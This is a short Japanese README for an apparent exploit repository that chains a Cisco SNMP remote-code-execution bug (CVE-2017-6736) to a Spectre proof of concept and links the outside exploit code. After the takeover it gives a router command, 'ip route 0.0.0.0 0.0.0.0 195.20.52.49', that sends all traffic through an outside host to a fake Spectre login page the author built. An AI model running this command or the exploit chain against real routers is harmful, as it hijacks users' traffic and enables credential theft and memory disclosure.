plyrthn/ciscospectretakeover最近のCisco SMPエクスプロイト（CVE-2017-6736）を使用してSpectre（CVE-2017-5753およびCVE-2017-5715）に連鎖させるPOCチェーンエクスプロイト。
最近の Cisco SMP エクスプロイト (CVE-2017-6736) を利用して Spectre (CVE-2017-5753 と CVE-2017-5715) にチェーンする PoC チェーンエクスプロイトです。
artkond による Cisco RCE エクスプロイトサブモジュール: https://github.com/artkond/cisco-snmp-rce
ascendr による JS Spectre Chrome POC: https://github.com/ascendr/spectre-chrome
Cisco 1841+2600 ルータでテスト済み。
RCE エクスプロイトを実行した後、設定として以下を実行します:
Router(config)> ip route 0.0.0.0 0.0.0.0 195.20.52.49
これにより、すべてのトラフィックが私が作成した Spectre ログインページを通過するようになります。後日、実際に Web サイトにアクセスするための改良版を追加する予定です。
